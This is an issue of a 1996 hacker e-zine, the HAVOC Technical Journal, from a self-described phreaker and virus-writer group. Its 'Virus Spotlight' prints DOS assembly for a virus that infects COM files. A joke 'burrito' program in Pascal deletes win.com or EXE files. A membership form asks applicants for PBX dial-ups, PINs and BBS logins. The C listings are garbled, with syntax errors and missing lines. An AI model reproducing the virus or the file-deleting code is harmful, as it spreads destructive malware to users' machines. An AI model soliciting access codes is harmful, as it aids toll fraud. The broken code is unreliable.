The HAVOC Technicl Journal

Vol. 1 | No.5 | October 31st, 1996 | A HAVOC Bell Systems Publication

"Pleading the Fifth"

Happy Halloween!

How to contact us:

    ----------------------------------------------
  /       ---/   --/  /   /  |  /------/   /    /
 /---       /-----/------/-----/      /   /    /
/----------/                         /--------/
              -of HAVOC Bell Systems-
FoxMulder@worldnet.att.net

the National Get A Gat! [tm] Program - Join it today!

"Beliefs are dangerous. Beliefs allow the mind to stop functioning.
A non-functioning mind is clinically dead. Believe in nothing"
                                        -Tool "AEnima"

/*  DUMP.C    Display the binary contents of a file in
              hex and ASCII on the standard output device.

    Compile: C> CL DUMP.C or whatever your compiler is..

    Usage:   C>DUMP unit:path\filename.ext

    Copyright (C) 1996 HAVOC Bell Systems ALL Rights F**ked!
    Written by Scud-O of HBS
*/

#include 
#include 
#include 

#define REC_SIZE 16   /* input file record size  */

main (int argc, char *argv[])
{
        int fd;                 /* input file handle */
        int status = 0;         /* status from file read */
        long fileptr = OL;      /* current file byte offset */
        char filebuf[REC_SIZE]; /* data from file */

        /* abort if missing filename */
        if argc != 2)
        {
                fprintf(stderr, "\nDumper: wrong number of parameters\n");
                exit(1);
        }

        /* open file in binary mode, abort if fails */
        if((fd = open(argv[1],O_RDONLY | O_BINARY) ) == -1)
        {
          fprintf(stderr, "\nDumper: can't find file %s \n", argv[1]);
        /*  read and dump records until EOF */
        while((status = read(rd,filebuf,REC_SIZE) ) != 0)
        {
                dump_rec(filebuf, fileptr, status);
                fileptr += REC_SIZE;
        }

        close(fd);      /* close the input file */
        exit(0);        /* return the success code */
}
/* Display record (16 bytes) in hex and ASCII on standard output */
dump_rec(char *filebuf, long fileptr, int length)
{
        int i; /* index to current record */

        if(fileptr % 128 == 0) /* display heading if needed */
                printf("\n\n    0 1 2 3 4 5 6 7 8 9 A B C D E F");

        printf("\n%041X ", fileptr); /* display file offset */

        /* display hex equivalent of each byte from file */
        for(i=0; i < length ; i++)
                printf(" %02X", (unsigned char)filebuf[i]);

        if(length != 16)        /* spaces if partial record */
                for(i=0; i<(16-length); i++)
                        printf("   ");

        /* display ASCII equivalent of each byte from file */
        printf("   ");
        for(i=0;i 126)
                        putchar('.');
                else putchar(filebuf[i]);
        }
}

- VIRUS SPOTLIGHT -

PAGE  59,132


data_2e         equ     1ABh                    ;start of virus

seg_a           segment byte public             ;
                assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code


                org     100h                    ;orgin of all COM files
s               proc    far

start:
                jmp     loc_1                   ;jump to virus


;this is a replacement for an infected file

                db      0CDh, 20h, 7, 8, 9      ;int 20h
                                                ;pop es

loc_1:
                call    sub_1                   ;



s               endp


sub_1           proc    near                    ;
                pop     si                      ;locate all virus code via
                sub     si,10Bh                 ;si, cause all offsets will
                mov     bp,data_1[si]           ;change when virus infects
                add     bp,103h                 ;a COM file
                lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
                xor     cx,cx                   ;clear cx - find only normal
                                                ;attributes
                mov     ah,4Eh                  ;find first file
loc_2:
                int     21h                     ;

                jc      loc_6                   ;no files found? then quit
                mov     dx,9Eh                  ;offset of filename found
                mov     ax,3D02h                ;open file for read/write access
                int     21h                     ;

                mov     bx,ax                   ;save handle into bx
                mov     ah,3Fh                  ;read from file
                lea     dx,[si+1A8h]            ;offset of save buffer
                mov     di,dx                   ;
                mov     cx,3                    ;read three bytes
                int     21h                     ;
                
                cmp     byte ptr [di],0E9h      ;compare buffer to virus id
                                                ;string
                je      loc_4                   ;
loc_3:
                mov     ah,4Fh                  ;find the next file
                jmp     short loc_2             ;and test it
loc_4:
                mov     dx,[di+1]               ;lsh of offset
                mov     data_1[si],dx           ;
                xor     cx,cx                   ;msh of offset
                mov     ax,4200h                ;set the file pointer
                int     21h                     ;

                mov     dx,di                   ;buffer to save read
                mov     cx,2                    ;read two bytes
                mov     ah,3Fh                  ;read from file
                int     21h                     ;

                cmp     word ptr [di],807h      ;compare buffer to virus id
                je      loc_3                   ;same? then find another file

;heres where we infect a file

                xor     dx,dx                   ;set file pointer
                xor     cx,cx                   ;ditto
                mov     ax,4202h                ;set file pointer
                int     21h                     ;

                cmp     dx,0                    ;returns msh
                jne     loc_3                   ;not the same? find another file
                cmp     ah,0FEh                 ;lsh = 254???
                jae     loc_3                   ;if more or equal find another file

                mov     ds:data_2e[si],ax       ;point to data
                mov     ah,40h                  ;write to file
                lea     dx,[si+105h]            ;segment:offset of write buffer
                mov     cx,0A3h                 ;write 163 bytes
                int     21h                     ;

                jc      loc_5                   ;error? then quit
                mov     ax,4200h                ;set file pointer
                xor     cx,cx                   ;to the top of the file
                mov     dx,1                    ;
                int     21h                     ;

                mov     ah,40h                  ;write to file
                lea     dx,[si+1ABh]            ;offset of jump to virus code
                mov     cx,2                    ;two bytes
                int     21h                     ;

;now close the file

loc_5:
                mov     ah,3Eh                  ;close file
                int     21h                     ;

loc_6:
                jmp     bp                      ;jump to original file

data_1          dw      0                       ;
                db      '*.COM',0               ;wild card search string


sub_1           endp
seg_a           ends
                end     start

     mov     ah,40h                   ;set function
     mov     bx,handle                ;load bx with handle from prev open
     mov     cx,virus_size            ;load cx with # of bytes to write
     mov     dx,offset write_buffer   ;load dx with the offset of what to
                                      ;write to file
     int     21h                      ;

PROGRAM burrito (Input,Output,InfectedFile);
USES dos;

(*CONST
     ThisFile = 'win.com';*)

VAR
   regs: Registers;
   DirInfo: SearchRec;
   InfectedFile : Text;
   KillFile,
   ThisFile,
   UsrInput : String;

BEGIN
     ThisFile := 'win.com' ;
     Write('I want a burrito! ');
     ReadLn(UsrInput);
     If UsrInput = 'burrito'
     Then
         Begin
         End ;
     If UsrInput = 'breakfast burrito'
     Then
         Begin
              WriteLn('Yuck');
                 regs.ah := $41;
                     with regs do
                     msdos(regs);
                     with regs do
                          begin
                               str(dx, ThisFile);
                          end;
         End;
     If UsrInput = 'taco bell burrito'
     Then
         Begin
               KillFile := FindFirst('*.EXE', Archive, DirInfo);
               begin
                     regs.ah := $41;
                     with regs do
                     msdos(regs);
                     with regs do
                          begin
                               str(dx , KillFile);

                          end;
               end;
         End;

end.

/*
 * bot.c - example of IRC automaton
 *
 * invoke with "irc -e bot"
 *
 * TnG - //\/\cFiLL
 * repo
 */
 
#include 
#include     
#include "varargs.h"
 
#define LOGFILE "bot.log"
#define MAXLEN 270
#define MAXARGS 135
#define PUBLIC  0x01
#define PRIVATE 0x02
#define NOTICE  0x04
#define DCCCHAT 0x08
 
char *strchr(char *str, int ch);
 
void init(void);
void strip(char *str);
int makeargs(char *str, char **av);
void parse(int ac, char **av);
void say();
 
int
main()
{
	FILE *log;
	char *buf, **av;
	int ac;
 
	buf = (char *) malloc(sizeof(char) * MAXLEN);
	av = (char **) malloc(sizeof(char **) * MAXARGS);
	if(!(log = fopen(LOGFILE, "a"))) {
		perror(LOGFILE);
		exit(1);
	}
	while(fgets(buf, MAXLEN, stdin)) {
		strip(buf);
		fprintf(log, "%s\n", buf);
		fflush(log);
		ac = makeargs(buf, av);
		parse(ac, av);
		fflush(stdout);
	}
	fclose(log);
	free(av);
	free(buf);
	exit(0);
}
 
void init(void)
{
	puts("/join #home");
	puts("/notify SigInt");
}
 
void
strip(char *str)
{
	char *t;
 
	if(t = strchr(str, '\n'))       *t = 0;
	if(t = strchr(str, '\r'))       *t = 0;
	if(t = strchr(str, '\\'))       *t = 0;
	if(t = strchr(str, ';'))        *t = 0;
}
 
int
makeargs(char *str, char **av)
{
	char *t = str;
	int ac = 0;
 
	while(*t) {
		if(ac < MAXARGS) av[ac++] = t;
		while(*t && *t != ' ') t++;
		if(*t) *t++ = 0;
		while(*t && *t == ' ') t++;
	}
	return(ac);
}
 
void pargs(int ac, char **av)
{
	int i;
 
	for(i = 0; i < ac; i++)
		printf("%s ", av[i]);
	printf("\n");
}
 
void say(va_alist) va_dcl
{
	va_list args;
	char *from, *fmt;
	int flags;
 
	va_start(args);
	flags = va_arg(args, int);
	from = va_arg(args, char *);
	fmt = va_arg(args, char *);
 
	/* parse flags */
 
	if(flags & PUBLIC)
		vprintf(fmt, args);
	if(flags & PRIVATE) {
		printf("/msg %s ", from);
		vprintf(fmt, args);
	}
	if(flags & NOTICE) {
		printf("/notice %s ", from);
		vprintf(fmt, args);
	}
	if(flags & DCCCHAT) {
		printf("/msg =%s ", from);
		vprintf(fmt, args);
	}
	va_end(args);
}
 
void parse(int ac, char **av)
{
#define public() flags = PUBLIC
#define private() flags = PRIVATE
#define notice() flags = NOTICE
#define dccchat() flags = DCCCHAT
#define match(x,y) (!strcmp((x),(y)))
 
	static char nick[9], from[9], master[9], chnl[11];
	char *first, *last, *cmd, *second;
	int client = 0, trusted = 0, flags = PUBLIC;
 
	strcpy(nick, "SigBot");
 
	/* determine type of input */
 
	first = av[0];
   second = av[2];
   last = first + strlen(first) - 1;
	cmd = av[1];
 
	/* set flags based on input */
 
	if(*first == '<' && *last == '>') public();
	else if(*first == '*' && av[0][1] != '*' && *last == '*') private();
	else if(*first == '-' && *last == '-') notice();
	else if(*first == '=' && *last == '=') dccchat();
	else client++;
 
	*last = 0;
	strncpy(from, first + 1, 8);
   if(match(from, "SigInt")) trusted++;
 
	/* begin parsing bot's input */
 
	if(client) {
		if(match(av[4], "channels.")) {
			strcpy(chnl, "#home");
			init();
		}
		else if(match(av[1], "You") && match(av[4], "kicked")) {
			printf("/join %s\n", chnl);
			sleep(1);
			printf("%s, you bastard!!!\n", av[9]);
		}
		else if(match(cmd, "DCC") && match(av[2], "CHAT"))
			printf("/dcc chat %s\n", av[7]);
		else if(match(cmd, "DCC") && match(av[2], "SEND")) {
			private();
			say(flags, av[7], "Sorry, %s, I don't do DCC :(\n", av[7]);
		}
		else if(match(av[2], "invites")) {
			strcpy(chnl, av[6]);
			printf("/join %s\n", chnl);
			printf("/msg %s thanks!\n", av[1]);
		}
		else if(match(av[3], "joined") && strcmp(av[1], nick)) {
			if(match(av[1], "SigInt"))
				printf("/mode %s +o SigInt\n", chnl);
		}
		else if(match(av[1], "Signon")) {
			strcpy(from, av[3]);
			private();
			say(flags, from, "hi %s!\n", av[3]);
			printf("/msg SigInt %s is here!\n", av[3]);
		}
		else if(match(cmd, "Signoff")) 
			printf("/msg SigInt %s has left!\n", av[3]);
		return;
	}
 
	/* parse public, private, notice, and dccchat messages */
 
	if(match(cmd, "die") && trusted) puts("/sign Bad breath?");
	else if(match(cmd, "do") && trusted) pargs(ac - 2, av + 2);
	else if(match(cmd, "finger")) printf("/exec -out finger %s\n", av[2]);
	else if(match(cmd, "go") && trusted) {
		strcpy(chnl, av[2]);
		printf("/join %s\n", chnl);
	}
	else if(match(cmd, "nick") && trusted) printf("/nick %s\n", av[2]);
	else if(match(cmd, "op") && trusted) printf("/mode %s +o %s\n", chnl, av[2]);
	else if(match(cmd, "ping")) say(flags, from, "pong.\n");
	else if(match(cmd, "sextalk")) printf("/exec -out SexTalk\n");
   else if(!strcasecmp(cmd, "What"))  
      printf("I don't know, that's a good question %s\n", from);
   else if(!strcasecmp(cmd, "Why"))
      printf("yeah, why?\n");
   else if(!strcasecmp(cmd, "How"))
      printf("%s, doing so is pretty impossible, unless you're a bot!\n", from);
   else if(!strcasecmp(cmd, "elite"))
      printf("very elite\n"); 
   else if(!strcasecmp(cmd, "re"))
      printf("re %s\n", second);
	     
      
      
}

           Application For Membership To HAVOC Bell Systems

    HAVOC Bell Systems is quickly coming on to the net and irc.
    (we'd be on HellNet[tm] if Scud-O EVER gets his own line!!)
    We are a serious group of Phreakers/Hackers/ and Virus Writers.
    We are all over the globe so.. a group meeting is pretty unlikely.

    If you wish to apply for membership to HBS or if you want
    your board to become to become a HBS distribution site
    fill out the application below and upload to Scud-O at:
    FoxMulder@worldnet.att.net
    for the Subject put: HAVOC Bell Systems Sign Up Sheet
    (anything else will not be reviewed!)
   
    Keep in mind, from the start of HAVOC Bell Systems we have been
    mainly Phreakers, but we are now into hacking and viruses.
    We do this to fight for phreaker's rights and to fight the
    Ma Bell beast.

------------------------------------------------------------------------------

                       Application For Membership


  I am interested in becoming

  ___ A HAVOC Bell Systems (HBS) Member
  ___ An HBS  Distribution Site Sysop


  Handle:      ________________
  Aliases:     ________________
  Email :      ________________

  Are you in any other groups? List them
  _____________________________________
  _____________________________________
  _____________________________________

  What are you into? (Hacking/Phreaking/Virus/Etc.. )
  ________________________________________________________________
  What do you know?
  ________________________________________________________________
  ________________________________________________________________
  ________________________________________________________________
  ________________________________________________________________

  Do you know any programming languages? (C/PASCAL/ASM)
  ____________________________ (Know well)
  ____________________________  ...
  ____________________________ (Just messed with)


  Are you a sysop of a BBS?  ___
  If yes leave the vitals:
                           BBS Name: _________________________
                           Dialup:   _________________________
                           State/Country: ____________________
                           Running: example: PCBoard _________

  Do you have a web site? ___
  vitals:
     Address: _________________________________________________
     CGI access : ______ (Y or N)
     Storage space: __________MB

  List three people you know (handles) : _________________
                                         _________________
                                         _________________

  List what IRC channels you are on:
  Channel: ____________________
  Server:______________________ (ex. Undernet, Dalnet, etc)
  Do you have ops on this channel? ___ (Y/N)

  List a BBS that you have 'elite' access to:

  Name: _____________________   Dialup: _______________________
  Sysop: ____________________   NUP: __________________________

  Do you have a VMB:
  Dialup: _________________ Box#: _________

  Quiz:
  1. What is a PBX? __________________________________________
  2. What is a PBX dial up # :________________________________
                        PIN  :________________________________
  3. What is a Bot? __________________________________________
  Are you in any way connected to and law enforcment agency? ___
  (NOTE: by law you MUST answer this truthfully! )
  Do you realize that being untruthfull to the above question
  waviers all legal matters: ____
  Are you in anyway connected to any software company? ___


  Thank for filling this out. -The HAVOC Bell Systems gang-

     Please email this application to Scud-O at: FoxMulder@worldnet.att.net
     for the Subject put: HAVOC Bell Systems Sign Up Sheet
     (anything else will not be reviewed!)

What is RTFM : The Lamer Journal?

Who is HAVOC Bell Systems?

Cool People:

This Month Question: Who is Scud-O?

Next Month's Question: Who are |\|\cFill and Keystroke?